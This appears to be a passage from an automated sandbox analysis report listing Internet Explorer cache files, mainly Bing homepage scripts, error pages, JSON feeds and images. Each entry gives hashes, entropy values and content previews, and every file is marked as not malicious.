Preview:	..........T.AS.@.@..........Lj.I...mLA........A......;.G.,..pF...\.L_EG..^)....2.W#..~{C8........5K'}......m.A.W. ....(DYP.%wRg.>v.1...).L.._f.S.9`+....Bq\...... ^.J........~..3.r..5..L.B\o<.y...@f.l....1dI..../.u.l.{..6...Iy./....;......;S......<......P.[.m.(.........H.6....R.m;Q.hyz.Y.g....^Gc.....-s<...jY.pl....u.jF........Ka..-.7........b.....

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\MEEXW4H4\Jl2vUSlEIqWjk-99MuYp4W74zvQ[1].svg Download File
Process:	C:\Program Files (x86)\Internet Explorer\iexplore.exe
File Type:	SVG Scalable Vector Graphics image
Category:	downloaded
Size (bytes):	1529
Entropy (8bit):	4.135964697042234
Encrypted:	false
SSDEEP:	24:tVvnjuJOeUsc4wg5a2/gt+lm/3HljKR99U1TrD3ptYZ7GDlh6mI0jeI4dIwDq8rz:rn1edcjg5pm/lKRXU1TrD5tJf6mzjidJ
MD5:	6D8EF11CB1C03B39D9ED4E4C9A2190B9
SHA1:	265DAF51294422A5A393EF7D32E629E16EF8CEF4
SHA-256:	D72BEAE30A6B2B36C3E03847CE4EA04211D7373D4066FF937A7A05DF4E0C3DB6
SHA-512:	C8820BDF2FC34CCFF7018A1C1E3E74ED1FE0B287926050F9B6BA59C08DCC216E8732F862AB0BF086BC05275C51E6F81132AFA60F6D50A19585642BC906DCDD92
Malicious:	false
IE Cache URL:	https://www.bing.com/rp/Jl2vUSlEIqWjk-99MuYp4W74zvQ.svg
Preview:	<svg width="16" height="16" viewBox="0 0 16 16" fill="none" xmlns="http://www.w3.org/2000/svg">..<path d="M8 0C6.41775 0 4.87103 0.469192 3.55544 1.34824C2.23985 2.22729 1.21447 3.47672 0.608967 4.93853C0.00346629 6.40034 -0.15496 8.00887 0.153721 9.56072C0.462403 11.1126 1.22433 12.538 2.34315 13.6569C3.46197 14.7757 4.88743 15.5376 6.43928 15.8463C7.99113 16.155 9.59966 15.9965 11.0615 15.391C12.5233 14.7855 13.7727 13.7602 14.6518 12.4446C15.5308 11.129 16 9.58225 16 8C16 5.87827 15.1571 3.84344 13.6569 2.34315C12.1566 0.842854 10.1217 0 8 0V0Z" fill="white"/>..<path d="M3.72395 9.60957L5.72394 11.6096C5.97398 11.8595 6.31306 12 6.66661 12C7.02016 12 7.35924 11.8595 7.60928 11.6096L12.2759 6.9429C12.4033 6.81991 12.5049 6.67278 12.5747 6.51011C12.6446 6.34744 12.6814 6.17248 12.6829 5.99544C12.6845 5.8184 12.6507 5.64283 12.5837 5.47897C12.5167 5.3151 12.4177 5.16623 12.2925 5.04104C12.1673 4.91585 12.0184 4.81685 11.8545 4.74981C11.6907 4.68277 11.5151 4.64903 11.3381 4.65057C11.16

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\MEEXW4H4\NewErrorPageTemplate[1] Download File
Process:	C:\Program Files (x86)\Internet Explorer\iexplore.exe
File Type:	UTF-8 Unicode (with BOM) text, with CRLF line terminators
Category:	dropped
Size (bytes):	1612
Entropy (8bit):	4.869554560514657
Encrypted:	false
SSDEEP:	24:5Y0bQ573pHpACtUZtJD0lFBopZleqw87xTe4D8FaFJ/Doz9AtjJgbCzg:5m73jcJqQep89TEw7Uxkk
MD5:	DFEABDE84792228093A5A270352395B6
SHA1:	E41258C9576721025926326F76063C2305586F76
SHA-256:	77B138AB5D0A90FF04648C26ADDD5E414CC178165E3B54A4CB3739DA0F58E075
SHA-512:	E256F603E67335151BB709294749794E2E3085F4063C623461A0B3DECBCCA8E620807B707EC9BCBE36DCD7D639C55753DA0495BE85B4AE5FB6BFC52AB4B284FD
Malicious:	false
Preview:	.body..{.. background-repeat: repeat-x;.. background-color: white;.. font-family: "Segoe UI", "verdana", "arial";.. margin: 0em;.. color: #1f1f1f;..}.....mainContent..{.. margin-top:80px;.. width: 700px;.. margin-left: 120px;.. margin-right: 120px;..}.....title..{.. color: #54b0f7;.. font-size: 36px;.. font-weight: 300;.. line-height: 40px;.. margin-bottom: 24px;.. font-family: "Segoe UI", "verdana";.. position: relative;..}.....errorExplanation..{.. color: #000000;.. font-size: 12pt;.. font-family: "Segoe UI", "verdana", "arial";.. text-decoration: none;..}.....taskSection..{.. margin-top: 20px;.. margin-bottom: 28px;.. position: relative; ..}.....tasks..{.. color: #000000;.. font-family: "Segoe UI", "verdana";.. font-weight:200;.. font-size: 12pt;..}....li..{.. margin-top: 8px;..}.....diagnoseButton..{.. outline: none;.. font-size: 9pt;..}.....launchInternetOptionsButton..{.. outline: none;

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\MEEXW4H4\PA3TC2iNXZkiG2C3IJp5VAvC_yY.gz[1].js Download File
Process:	C:\Program Files (x86)\Internet Explorer\iexplore.exe
File Type:	ASCII text, with very long lines, with no line terminators
Category:	downloaded
Size (bytes):	930
Entropy (8bit):	5.191402456846154
Encrypted:	false
SSDEEP:	24:GFUFqJYYmaLOTCE20aOtZP9F3a6MakIq+lvyUJ9sq5aOB:BWOWEZP9U6MHEvyUJ9s6
MD5:	73BFB9BB67A7271E257A4547007469A5
SHA1:	28F7B820679A99318E0DC596A54480D6AD5C3661
SHA-256:	A22BB5BD48C4C578C6BC4FDC4B8FF18F9162848F14E05AE283EC848B08EC8C15
SHA-512:	432142851A492C7635B764AC5293B6EFC943624FBD2FEA5D0F2D8900208B5F6233F5563B7CC08F314E29889B2628F298355484700816A3679F6A3315E63581F0
Malicious:	false
IE Cache URL:	https://www.bing.com/rp/PA3TC2iNXZkiG2C3IJp5VAvC_yY.gz.js
Preview:	var ShareDialog;(function(n){function i(){t("bootstrap",arguments)}function r(){t("show",arguments)}function u(){t("showError",arguments)}function t(n,t){for(var r=["shdlgapi",n],i=0;i<t.length;i++)r.push(t[i]);sj_evt.fire.apply(null,r)}n.bootstrap=i;n.show=r;n.showError=u})(ShareDialog\|\|(ShareDialog={})),function(n){function i(){t==0&&u()}function r(){sj_evt.unbind("shdlgapi",i)}function u(){t=1;var n=ShareDialogConfig.shareDialogUrl+"&IG="+_G.IG;n=e(n,["uncrunched","testhooks"]);sj_ajax(n,{callback:function(n,i){n?(t=2,i.appendTo(_d.body),r(),f()):t=3},timeout:0})}function f(){var n="rms";_w[n]&_w[n].start()}function e(n,t){var i,r,u;for(r in t)u=new RegExp("[?&]"+t[r]+"=[^?&#]*","i"),(i=location.href.match(u))&&i[0]&&(n+="&"+i[0].substring(1));return n}function o(){n.inited=0}function s(){n.inited\|\|(n.inited=1,sj_evt.bind("shdlgapi",i,!0),sj_evt.bind("ajax.unload",o,!1))}var t=0;s()}(ShareDialog\|\|(ShareDialog={}))

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\MEEXW4H4\Passport[1].htm Download File
Process:	C:\Program Files (x86)\Internet Explorer\iexplore.exe
File Type:	HTML document, ASCII text
Category:	dropped
Size (bytes):	329
Entropy (8bit):	5.086971439676268
Encrypted:	false
SSDEEP:	6:qzxUe3X965+zAqEFtTNfYEAn4TXQ3SOFCL0H4WZhCroOI:kxFkXq6tTRYEVTAx4IHH7CroOI
MD5:	7B7D5DA1B057EB0D5A58C2585E80BACA
SHA1:	29714CD8C570E321C1C1C991E77ACE3945312AC6
SHA-256:	023CD9B7315636BE1BE24DC78144554B0E76777BD476ED581378172DE9B12A05
SHA-512:	1A4E36E3124968166579C04D05A1325242E1DFE20DF4C804081487A019B88395A679A439525488F78B73334C5B0BD38D61E24F8E23F2F8274C6BAC323291CEE8
Malicious:	false
Preview:	<html><head><title>Bing</title></head><body>Loading...<script type="application/x-javascript">//<![CDATA[.var _w = window; var o = _w.opener; var mainWindow; (mainWindow = o) \|\| (mainWindow = _w.parent); if (mainWindow) {mainWindow.sj_evt && mainWindow.sj_evt.fire("wl:cancel"); };if (o) _w.close();;.// </script></body></html>

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\MEEXW4H4\dnserror[1] Download File
Process:	C:\Program Files (x86)\Internet Explorer\iexplore.exe
File Type:	HTML document, UTF-8 Unicode (with BOM) text, with CRLF line terminators
Category:	dropped
Size (bytes):	2997
Entropy (8bit):	4.4885437940628465
Encrypted:	false
SSDEEP:	48:u7u5V4VyhhV2lFUW29vj0RkpNc7KpAP8Rra:vIlJ6G7Ao8Ra
MD5:	2DC61EB461DA1436F5D22BCE51425660
SHA1:	E1B79BCAB0F073868079D807FAEC669596DC46C1
SHA-256:	ACDEB4966289B6CE46ECC879531F85E9C6F94B718AAB521D38E2E00F7F7F7993
SHA-512:	A88BECB4FBDDC5AFC55E4DC0135AF714A3EEC4A63810AE5A989F2CECB824A686165D3CEDB8CBD8F35C7E5B9F4136C29DEA32736AABB451FE8088B978B493AC6D
Malicious:	false
Preview:	.<!DOCTYPE HTML>..<html>.. <head>.. <link rel="stylesheet" type="text/css" href="NewErrorPageTemplate.css" >.. <meta http-equiv="Content-Type" content="text/html; charset=UTF-8">.. <title>Can’t reach this page</title>.. <script src="errorPageStrings.js" language="javascript" type="text/javascript">.. </script>.. <script src="httpErrorPagesScripts.js" language="javascript" type="text/javascript">.. </script>.. </head>.... <body onLoad="getInfo(); initMoreInfo('infoBlockID');">.. <div id="contentContainer" class="mainContent">.. <div id="mainTitle" class="title">Can’t reach this page</div>.. <div class="taskSection" id="taskSection">.. <ul id="cantDisplayTasks" class="tasks">.. <li id="task1-1">Make sure the web address <span id="webpage" class="webpageURL"></span>is correct</li>.. <li id="task1-2">Search for this site on Bing</li>..

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\MEEXW4H4\down[1] Download File
Process:	C:\Program Files (x86)\Internet Explorer\iexplore.exe
File Type:	PNG image data, 15 x 15, 8-bit colormap, non-interlaced
Category:	dropped
Size (bytes):	748
Entropy (8bit):	7.249606135668305
Encrypted:	false
SSDEEP:	12:6v/7/2QeZ7HVJ6o6yiq1p4tSQfAVFcm6R2HkZuU4fB4CsY4NJlrvMezoW2uONroc:GeZ6oLiqkbDuU4fqzTrvMeBBlE
MD5:	C4F558C4C8B56858F15C09037CD6625A
SHA1:	EE497CC061D6A7A59BB66DEFEA65F9A8145BA240
SHA-256:	39E7DE847C9F731EAA72338AD9053217B957859DE27B50B6474EC42971530781
SHA-512:	D60353D3FBEA2992D96795BA30B20727B022B9164B2094B922921D33CA7CE1634713693AC191F8F5708954544F7648F4840BCD5B62CB6A032EF292A8B0E52A44
Malicious:	false
Preview:	.PNG........IHDR...............ex....PLTE....W..W..W..W..W..W..W..W..W..W..W..W..W.U..............W..W.!Y.#Z.$\.'].<r.=s.P..Q..Q..U..o..p..r..x..z..~.............................................b.............................................................................................................................................................................................................$..s...7tRNS.a.o(,.s....e......q*...................................F.Z....IDATx^%.S..@.C..jm.mTk...m.?\|;.y..S....F.t...,.......D.>..LpX=f.M...H4........=...=..xy.[h..7....7.....<.q.kH....#+....I..z.....'.ksC...X<.+..J>....%3BmqaV...h..Z._.:<.Y_jG...vN^.<>.Nu.u@.....M....?...1D.m~)s8..&....IEND.B`.

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\MEEXW4H4\errorPageStrings[2] Download File
Process:	C:\Program Files (x86)\Internet Explorer\iexplore.exe
File Type:	UTF-8 Unicode (with BOM) text, with CRLF line terminators
Category:	downloaded
Size (bytes):	4720
Entropy (8bit):	5.164796203267696
Encrypted:	false
SSDEEP:	96:z9UUiqRxqH211CUIRgRLnRynjZbRXkRPRk6C87Apsat/5/+mhPcF+5g+mOQb7A9o:JsUOG1yNlX6ZzWpHOWLia16Cb7bk
MD5:	D65EC06F21C379C87040B83CC1ABAC6B
SHA1:	208D0A0BB775661758394BE7E4AFB18357E46C8B
SHA-256:	A1270E90CEA31B46432EC44731BF4400D22B38EB2855326BF934FE8F1B169A4F
SHA-512:	8A166D26B49A5D95AEA49BC649E5EA58786A2191F4D2ADAC6F5FBB7523940CE4482D6A2502AA870A931224F215CB2010A8C9B99A2C1820150E4D365CAB28299E
Malicious:	false
IE Cache URL:	res://ieframe.dll/errorPageStrings.js
Preview:	.//Split out for localization...var L_GOBACK_TEXT = "Go back to the previous page.";..var L_REFRESH_TEXT = "Refresh the page.";..var L_MOREINFO_TEXT = "More information";..var L_OFFLINE_USERS_TEXT = "For offline users";..var L_RELOAD_TEXT = "Retype the address.";..var L_HIDE_HOTKEYS_TEXT = "Hide tab shortcuts";..var L_SHOW_HOTKEYS_TEXT = "Show more tab shortcuts";..var L_CONNECTION_OFF_TEXT = "You are not connected to the Internet. Check your Internet connection.";..var L_CONNECTION_ON_TEXT = "It appears you are connected to the Internet, but you might want to try to reconnect to the Internet.";....//used by invalidcert.js and hstscerterror.js..var L_CertUnknownCA_TEXT = "Your PC doesn\u2019t trust this website\u2019s security certificate.";..var L_CertExpired_TEXT = "The website\u2019s security certificate is not yet valid or has expired.";..var L_CertCNMismatch_TEXT = "The hostname in the website\u2019s security certificate differs from the website you are trying to visit.";..var L

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\MEEXW4H4\model[1].json Download File
Process:	C:\Program Files (x86)\Internet Explorer\iexplore.exe
File Type:	UTF-8 Unicode text, with very long lines, with no line terminators
Category:	downloaded
Size (bytes):	16168
Entropy (8bit):	5.527579595880806
Encrypted:	false
SSDEEP:	384:HUQyIePm3yt9YYQ5bV5u5hOuKsVMhu3kx0m4iDewY/rfrEraIO1uYPW:0yZ3yjYY85uTOuKsV2u3kx0m4iDewY/i
MD5:	B12C190DFA30C8EF3CACFB2304F8A6BB
SHA1:	4485BA9BCEC741F844120DA43AD4C67EED5EFF0F
SHA-256:	E18575EBB4698CD7418A52E923B8815AA1B288FB160F12A9B8DFE69C816FCA67
SHA-512:	0BE8328FD43826911A8BDD74E85C052F47EA08AF97F36C5C8296648B037C60CFEDA186F81A08C1620728FD50F5D3F36C634CCD2D943C41BEE3DDF3F69515B738
Malicious:	false
IE Cache URL:	https://www.bing.com/hp/api/model?form=REDIRERR
Preview:	{"ClientSettings":{"Pn":{"Cn":1,"St":0,"Qs":0,"Prod":"P"},"Sc":{"Cn":1,"St":0,"Qs":0,"Prod":"H"},"Qz":{"Cn":1,"St":0,"Qs":0,"Prod":"T"},"Ap":true,"Mute":true,"Lad":"2021-04-06T00:00:00Z","Iotd":0,"Dft":null,"Mvs":0,"Flt":0,"Imp":2},"MediaContents":[{"ImageContent":{"Description":"The first modern Olympic Games were held 125 years ago in Athens in 1896 . 1,500 years after they were banned by the Roman Emperor. The 1896 Games were held in the Panathenaic Stadium, in the shadow of the Acropolis of Athens, shown here. They included athletes from 14 countries, with the largest delegations from Greece, Germany, France and Great Britain. The 43 events included a marathon, tennis, cycling, fencing, shooting, Greco-Roman wrestling and swimming. And while some things haven't changed over the years, some were different back then. Swimmers were taken out to sea by boat for the longer races and had to swim back to shore. Winners were given a silver medal (copper for second place), as well as an o

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\MEEXW4H4\msnpopularnow[1].json Download File
Process:	C:\Program Files (x86)\Internet Explorer\iexplore.exe
File Type:	UTF-8 Unicode text, with very long lines, with no line terminators
Category:	downloaded
Size (bytes):	10501
Entropy (8bit):	5.51784121777492
Encrypted:	false
SSDEEP:	192:LUuCIrvL8IgVoZvJZvtctCQwyltHEZdrXgsqBv6SHGjHHAHaBaZvkr1qPUaDQAby:LBCOVmUzaBDePrwsUS/k6Ba52qPJQZEW
MD5:	FC690FA0CC46C5CF583DFBBE141E5A58
SHA1:	E7CCC631BEAE8AC7DC42B1A8259BC752E4938D6F
SHA-256:	8498F9C879FE298FB470D1DB0811F56401425DFBE2388B282C7935FA1E4AC854
SHA-512:	FB1FA394B996687B25D6B05DDC9C77D78538CF281B18E4FD4E797229D68B3C2C692F561AD07B60345078366B2BA27CBFA08B2D2717095D1FBBD0D7159B559597
Malicious:	false
IE Cache URL:	https://www.bing.com/hp/api/v1/msnpopularnow?&format=json&ecount=20&efirst=0&&form=REDIRERR
Preview:	{"title":"","data":[{"typeName":"Msn","items":[{"url":"https://www.msn.com/de-ch/news/other/der-westen-muss-mit-sanktionen-drohen-die-wehtun/ar-BB1flkV9?ocid=BingHPC","imageUrl":"/th?u=https%3a%2f%2fimg-s-msn-com.akamaized.net%2ftenant%2famp%2fentityid%2fBB1flnql.img&ehk=e56b2FA%2fdQ8S1%2bJCLPLA5GewBcI71RQ%2fTmEAxvevKks%3d&w=150&h=150&c=8&rs=2&pid=WP0","shortTitle":"BZ BERNER ZEITUNG","longTitle":"Der Westen muss mit Sanktionen drohen, die wehtun","accessibilityTitle":"","subtext":"","isRecommendedNews":false},{"url":"https://www.msn.com/de-ch/finanzen/top-stories/staatliche-regulierung-allianz-gegen-big-tech-druck-auf-facebook-und-google-w.chst/ar-BB1fkLCT?ocid=BingHPC","imageUrl":"/th?u=https%3a%2f%2fimg-s-msn-com.akamaized.net%2ftenant%2famp%2fentityid%2fBB1fkGpp.img&ehk=EoXsvHvTz25OeDlk8%2f1AsQ0JRbPiNyy0iD13c2N9OGI%3d&w=150&h=150&c=8&rs=2&pid=WP0","shortTitle":"Handelsblatt","longTitle":"Staatliche Regulierung: Allianz gegen Big Tech: Druck auf Facebo.","accessibilityTitle":"","

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\MEEXW4H4\n8-O_KIRNSMPFWQWrGjn0BRH6SM.gz[1].js Download File
Process:	C:\Program Files (x86)\Internet Explorer\iexplore.exe
File Type:	UTF-8 Unicode text, with very long lines, with no line terminators
Category:	downloaded
Size (bytes):	1567
Entropy (8bit):	5.248121948925214
Encrypted:	false
SSDEEP:	48:KyskFELvJnSYVtXpQyL93NzpGaQJWA6vrIhf7:KybivJnSE5aU93HGaQJWAiIh
MD5:	F9D8B007B765D2D1D4A09779E792FE62
SHA1:	C2CBDA98252249E9E1114D1D48679B493CBFA52D
SHA-256:	9400DF53D61861DF8BCD0F53134DF500D58C02B61E65691F39F82659E780F403
SHA-512:	07032D7D9A55D3EA91F0C34C9CD504700095ED8A47E27269D2DDF5360E4CAC9D0FAD1E6BBFC40B79A3BF89AA00C39683388F690BB5196B40E5D662627A2C495A
Malicious:	false
IE Cache URL:	https://www.bing.com/rp/n8-O_KIRNSMPFWQWrGjn0BRH6SM.gz.js
Preview:	var wln=wln\|\|"",Identity;(function(n){function i(n){n.style.display="none";n.setAttribute("aria-hidden","true")}function r(n){n.style.display="inline-block";n.setAttribute("aria-hidden","false")}var u,t;n&&n.sglid&&sj_be&&sj_cook&&sj_evt&&_d&&typeof _d.querySelectorAll!="undefined"&&(u=function(n){var i=n.getAttribute("data-a"),t=n.getAttribute("data-p");i==="false"&&t!=null&&sj_be(n,"click",function(){sj_cook.set("SRCHUSR","POEX",t,!0,"/")})},sj_evt.bind("identityHeaderShown",function(){var n=!1;sj_be(_ge("id_l"),"click",function(){var i,t;if(!n){for(i=_d.querySelectorAll(".b_imi"),t=0;t<i.length;t++)u(i[t]);n=!0}})},!0));sj_evt&&n&&(t=function(t){var h;if(t==null\|\|t.idp!=="orgid"\|\|(h=n.wlProfile(),h==null\|\|h.name==null\|\|t.name!=null)){var e=_ge("id_n"),u=_ge("id_p"),o=_ge("id_s"),s=_ge("id_a"),f=t?t.displayName:wln,c=t?t.img:null,l=t?t.idp:null,a=t?t.cid:null;e&&s&&(a\|\|f)?(u&&c&&(u.title=f,u.src=c,r(u)),f.length>10&&(f=f.substring(0,10).replace(/\s+$/,"")+"."),e.textContent=f,e.inn

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\MEEXW4H4\ozS3T0fsBUPZy4zlY0UX_e0TUwY.gz[1].js Download File
Process:	C:\Program Files (x86)\Internet Explorer\iexplore.exe
File Type:	ASCII text, with no line terminators
Category:	downloaded
Size (bytes):	226
Entropy (8bit):	4.923112772413901
Encrypted:	false
SSDEEP:	6:2LGfGIEW65JcYCgfkF2/WHRMB58IIR/QxbM76Bhl:2RWIyYCwk4/EMB5ZccbM+B/
MD5:	A5363C37B617D36DFD6D25BFB89CA56B
SHA1:	31682AFCE628850B8CB31FAA8E9C4C5EC9EBB957
SHA-256:	8B4D85985E62C264C03C88B31E68DBABDCC9BD42F40032A43800902261FF373F
SHA-512:	E70F996B09E9FA94BA32F83B7AA348DC3A912146F21F9F7A7B5DEEA0F68CF81723AB4FEDF1BA12B46AA4591758339F752A4EBA11539BEB16E0E34AD7EC946763
Malicious:	false
IE Cache URL:	https://www.bing.com/rp/ozS3T0fsBUPZy4zlY0UX_e0TUwY.gz.js
Preview:	(function(n,t,i){if(t){var r=!1,f=function(){r\|\|(r=!0,typeof wlc!="undefined"&&wlc(sj_evt,sj_cook.set,wlc_t))},u=function(){setTimeout(f,t)};n.bind("onP1",function(){i?n.bind("aad:signedout",u):u()},1)}})(sj_evt,wlc_d,wlc_wfa)

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\MEEXW4H4\sbi[1].htm Download File
Process:	C:\Program Files (x86)\Internet Explorer\iexplore.exe
File Type:	HTML document, ASCII text, with very long lines, with CRLF, LF line terminators
Category:	downloaded
Size (bytes):	46137
Entropy (8bit):	5.492718429280291
Encrypted:	false
SSDEEP:	768:WkuL2ym/YIZE2u1U5l7Ez+YIdQFSO4FWCPPZPzATfZjFwummSczZxG3IuO7JUDWB:plB1FWCpPwkNijuSjyir
MD5:	8147A3C6CCDAD2147CA32BA6DB54E40A
SHA1:	3257CCC8CED1107ACBE3697B61F1C5ED3A86A4E6
SHA-256:	E783F26B771F68588FF468DE04C50E6A3E7BC4A11FEBDB52A17511E9DFE91297
SHA-512:	005695CB7F9FBB397109F11FDD375F23D5C678C7F26036E3937C916F75C96857F6A7C1B10D5820588461479A14B69026A3277389E5C02D09359D5A2BD9CF3C67
Malicious:	false
IE Cache URL:	https://www.bing.com/images/sbi?mmasync=1&ptn=Homepage&IID=SBI&IG=AC882D833DB048C591AAA8C43AC284DE&form=REDIRERR
Preview:	<style type="text/css">#sbiarea,#sbicom{display:none}.hassbi #sbiarea{display:inline-block}#sbiarea{margin:0 0 0 18px}.sbox #sb_form #sbiarea{margin:0}#sb_sbi{display:inline-block;cursor:pointer}img#sbi_b{vertical-align:-2px;height:20px;width:20px}#detailPage #detailheader img#sbi_b,.blue2#miniheader img#sbi_b,.sbox img#sbi_b{vertical-align:-3px}.blue2#miniheader img#sbi_b{vertical-align:-1px}#sbi_b.grayscaled{filter:grayscale(1) brightness(1.4);-webkit-filter:grayscale(1) brightness(1.4)}#sbi_b.grayscaled:hover{filter:grayscale(1) brightness(1);-webkit-filter:grayscale(1) brightness(1)}#sb_sbip[shdlg] #sbi_b{filter:grayscale(0);-webkit-filter:grayscale(0)}#sb_sbip .rms_iac{display:inline-block}#sb_sbip:not(.disableTooltip):hover::before,#sb_sbip.shtip:not(.disableTooltip)::before,#sb_sbip[vptest]::before{bottom:-27px;left:10px;z-index:6}#sb_sbip:not(.disableTooltip):hover::after,#sb_sbip.shtip:not(.disableTooltip)::after,#sb_sbip[vptest]::after{top:40px;left:10px;z-index:4}#hp_contain

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\MEEXW4H4\svI82uPNFRD54V4bMLaeahXQXBI.gz[1].js Download File
Process:	C:\Program Files (x86)\Internet Explorer\iexplore.exe
File Type:	ASCII text, with very long lines, with no line terminators
Category:	downloaded
Size (bytes):	425
Entropy (8bit):	4.963129739598361
Encrypted:	false
SSDEEP:	12:2gXsmzwKN0yApFkRLNF1Jfa1VTWPMg9pIGywV:2gX9zwKN0yAqr1Jfa1V059V
MD5:	016ECFDB34031F881FA5E34DFBD0B7A1
SHA1:	16D3BA1049939D00AE47AAD053993B4762D9B102
SHA-256:	08021ED3BCA5532304B597E636BEB939FF7BAA6D08DCA4E94C0DDE1FDF940389
SHA-512:	D61045D1F07ED241626B8233D388F5E1AD54DBE224871E1CE872ECFD0E29F05A21F0EA02FFDE688FACB134DD969533615493BD35EBA4D5E755840C30A687EE00
Malicious:	false
IE Cache URL:	https://www.bing.com/rp/svI82uPNFRD54V4bMLaeahXQXBI.gz.js
Preview:	(function(n){function f(){u(sj_be,r)}function r(i){return i&&n.enqueue(t,i),!0}function e(){u(sj_ue,r)}function u(n,t){for(var u,r=0;r<i.length;r++)u=i[r],n(u==="resize"?window:document,window.navigator.pointerEnabled?u.replace("mouse","pointer"):u,t,!1)}var t="EVT",i=["click","mousedown","mouseup","touchstart","touchend","mousemove","touchmove","scroll","keydown","resize"];n.wireup(t,{load:f,compute:null,unload:e})})(BM)

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\MEEXW4H4\test[1].htm Download File
Process:	C:\Program Files (x86)\Internet Explorer\iexplore.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	64
Entropy (8bit):	4.373593025747649
Encrypted:	false
SSDEEP:	3:UMs1TE5LH0cHrJU4YCf:U37cVUof
MD5:	E82D9BD501B46DF5CB2B650AF9E1B126
SHA1:	0FE6876226E88D8104ED51CB6329EB172BBA8D68
SHA-256:	C2BA8FCCFC980BCC8FC24E7A41BFCFEE88CCA9331C8D4D62890D7DFAB4A12226
SHA-512:	D3715E6A3C9012F2D8E1269E5C4B3E2F77FD2CD8E793AD39E51F1E1BE30F0818DDD01FAF3708EF789FDF347B92C6477C10A1155DEC582FF68185CBFD41C662E4
Malicious:	false
Preview:	IPv6Tests.TestIPv6Response('{"type": "4"}');

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\MEEXW4H4\th[1].jpg Download File
Process:	C:\Program Files (x86)\Internet Explorer\iexplore.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 0x0, segment length 16, baseline, precision 8, 1920x1080, frames 3
Category:	downloaded
Size (bytes):	344983
Entropy (8bit):	7.987666031914428
Encrypted:	false
SSDEEP:	6144:uhr6bFSzjuZdOJGR0u6FY7Kq1u9ktnbQ9uJ4g2FUXoIQc1tYJsDr0j:AwFEjSOJbuYphkZQ9uJX22TQc1qJwa
MD5:	DDCE5ED235CCBFFDA3F3735F75F80C0F
SHA1:	F266C24FA6F01459F51C97ADB00523BD214C653C
SHA-256:	78EB4A3213EBE7BB95F87D206AE29064D514628E6A430334D0E13756AA131DE5
SHA-512:	A0C70871BC52467524A0107F09B93C1BE11FFBD9CF68E1F3C567F97B0F810AA5B0CEE584AE1BA720F4A0B30F42E4290A06E99B9EA640437B0DABF158F2DB0625
Malicious:	false
IE Cache URL:	https://www.bing.com/th?id=OHR.Olympics125_ROW9889344454_1920x1080.jpg&rf=LaDigue_1920x1080.jpg
Preview:	......JFIF.............C............................................ "" .,,,.3333333333...C............................. ...... .......## ##,,),,3333333333......8....".......................................S........................!1A.."Q2aq..B...#R...b.3r....$C.....4Scs..%DT...u.5t....................................B.....................!..1AQ."aq.2.......BR..#br.$34..C....Ss...c............?.#...9.%qx..fL.Z..+p.....+...X.2m..,..X.<..W...}Dk.\J....f9.~.....b.../.7C&.V.Y.9`.\|.rV0'>.9........3._>.6.@...ML-...+].Q......]......'>.`e..W>.9.......\|.d...>.9..VJ.Es./.%e....,..y.7.....l.........g.4.3g)..d.99Bk....+r.:e$.ca.SH.\|.........m...}.YRO9...j.vd..9V..5..@e...{.<hA...:........9K#.....q.H...`....q>NiF=.[..2C.8X...*......L(.{.....s.3.W.!....{^..'..~....9.!..^A.y...1.A..[......I!a....i ..)L.D.D.8#.{../.0.\.M..r..qg3...t.N..^....L.I3'.........eQ.`3{........Yh...sK...k..I...m.o.t^%e...O..e&a.....9..v.x....&.E!.e..p.....n.UQ.x$S\........1}DqH

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\MEEXW4H4\th[2].jpg Download File
Process:	C:\Program Files (x86)\Internet Explorer\iexplore.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 300x300, segment length 16, baseline, precision 8, 150x150, frames 3
Category:	downloaded
Size (bytes):	5038
Entropy (8bit):	7.913300499070733
Encrypted:	false
SSDEEP:	96:pPEvzuSDKiT+ERod8yBN0X/HmlRJJ+Fn8h3fzh+LZvwk:pPOCSmHhW/H4JJ+F8xzh+L9wk
MD5:	B4253CC44B582EBE891CBCDF0EF5CA8B
SHA1:	2D179CB4C761077F9EFB53625FE0B34D01AE3107
SHA-256:	9358906D6A9154E881A96AA4E9EDED3CCFDF3DC87B1B922B8FC4C09B970130F5
SHA-512:	6D3EA094D383E370E85CBDD445B76D8B2986B3F175145F8DB93112A63E48DF8FA1877BBFD25C2CA73CE66B2C1DECF7FAB01D9556855CF9DD1F9462D4432F608B
Malicious:	false
IE Cache URL:	https://www.bing.com/th?u=https%3a%2f%2fimg-s-msn-com.akamaized.net%2ftenant%2famp%2fentityid%2fBB1flcl7.img&ehk=n4zxNzUaGmaWvZYudQOxjiEm8O7nfdAvG5P6LGtz8zo%3d&w=150&h=150&c=8&rs=2&pid=WP0
Preview:	......JFIF.....,.,.....C...........................$ &%# #"(-90(6+"#2D26;=@@@&0FKE>J9?@=...C...........=)#)==================================================..........."............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()*56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?..(...).C$..$gbp..z=.P..`Tz...i.&..+nO._..f7'......:........[ ..zf..a..E.U.(...(...(...(...(...(.6v.....!..V.k.@......N...>...Rxc.7:.i......#.cz..k.4..[i6...bL1c......../.8./.Iob.D+....#,.s..O.I..U7......z\|.i2m.Y...[..j......Xjodp'HXG..sw>.kJ...Fv2..(..z...D.9L.....b..-./..'....U....t..:}...DV-.u....>u..y...b...Xn.)' ..:........<>t.e..0...U....=.oN..f...8.(

